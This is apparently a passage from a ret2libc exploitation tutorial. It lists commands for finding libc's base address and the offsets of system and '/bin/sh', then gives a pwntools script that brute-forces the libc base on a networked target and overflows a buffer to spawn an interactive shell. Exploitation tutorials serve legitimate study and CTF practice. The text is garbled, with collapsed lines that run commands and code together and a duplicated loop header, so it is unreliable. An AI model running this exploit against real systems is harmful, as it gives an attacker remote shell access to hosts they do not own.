If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
If you want to check if the ASLR is changing the address of libc you can do:
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
If the process is creating children every time you talk with it (network server) try to read that file (probably you will need to be root).
Here you can find exactly where is the libc loaded inside the process and where is going to be loaded for every children of the process.
In this case it is loaded in 0xb75dc000 (This will be the base address of libc)
Get address of system function, of exit function and of the string "/bin/sh" using gdb-peda:
p systemp exitfind "/bin/sh"
You can try to bruteforce the abse address of libc.
for off in range(0xb7000000, 0xb8000000, 0x1000):
from pwn import *c = remote('192.168.85.181',20002)c.recvline() #Bannerfor off in range(0xb7000000, 0xb8000000, 0x1000):p = ""p += p32(off + 0x0003cb20) #systemp += "CCCC" #GARBAGEp += p32(off + 0x001388da) #/bin/shpayload = 'A'*0x20010 + pc.send(payload)c.interactive() #?